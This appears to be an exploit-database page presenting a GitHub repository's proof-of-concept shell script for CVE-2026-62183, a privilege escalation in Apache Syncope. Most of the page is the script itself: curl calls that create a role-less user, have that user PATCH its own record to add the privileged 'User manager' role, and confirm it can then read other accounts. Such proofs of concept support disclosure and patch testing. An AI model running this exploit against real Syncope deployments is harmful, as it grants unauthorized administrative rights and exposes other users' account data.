Exploit databaseDownload repository ZIP
GH-9266b3a325933ef20b7cbf0c12ec3675
nicpwns/cve-2026-62183
Sources for CVE-2026-62183
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files4
nicpwns/cve-2026-62183Revision 6f7457b4de88
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
poc.sh
Shell · 1,855 bytes#!/bin/sh
# CVE-2026-62183 — Apache Syncope user self-service privilege escalation (CWE-269 / CWE-862).
# Runtime PoC. Verified on Syncope 3.0.16 standalone (JDK 17), domain "Master".
#
# A fresh user with NO roles self-assigns the existing privileged role "User manager"
# via PATCH /users/self/{key} (which requires only isAuthenticated()) and gains its rights.
# Uses only legitimate, documented API calls to demonstrate the authorization gap.
#
# Usage: B=http://localhost:9080/syncope/rest ./poc.sh
set -e
B=${B:-http://localhost:9080/syncope/rest}
H='-H X-Syncope-Domain:Master -H Accept:application/json -H Content-Type:application/json'
echo "[setup] admin creates plain user 'eviluser2' (no roles)"
K2=$(curl -s -u admin:password $H -X POST "$B/users" -d '{"_class":"org.apache.syncope.common.lib.request.UserCR",
"realm":"/","username":"eviluser2","password":"Password123!","mustChangePassword":false,
"plainAttrs":[{"schema":"fullname","values":["E2"]},{"schema":"surname","values":["Two"]},
{"schema":"userId","values":["[email protected]"]}]}' | python -c "import json,sys;print(json.load(sys.stdin)['entity']['key'])")
echo " eviluser2 key=$K2"
AUTH="-u eviluser2:Password123!"
echo "[1] baseline: eviluser2 reads another account -> expect 403"
curl -s $AUTH $H -o /dev/null -w ' GET /users/bellini = %{http_code}\n' "$B/users/bellini"
echo "[2] BUG: eviluser2 self-assigns existing role 'User manager' -> expect 200"
curl -s $AUTH $H -X PATCH "$B/users/self/$K2" -d '{"_class":"org.apache.syncope.common.lib.request.UserUR",
"key":"'"$K2"'","roles":[{"operation":"ADD_REPLACE","value":"User manager"}]}' \
-o /dev/null -w ' PATCH /users/self/{key} = %{http_code}\n'
echo "[3] escalated: eviluser2 reads any account -> expect 200"
curl -s $AUTH $H -o /dev/null -w ' GET /users/bellini = %{http_code}\n' "$B/users/bellini"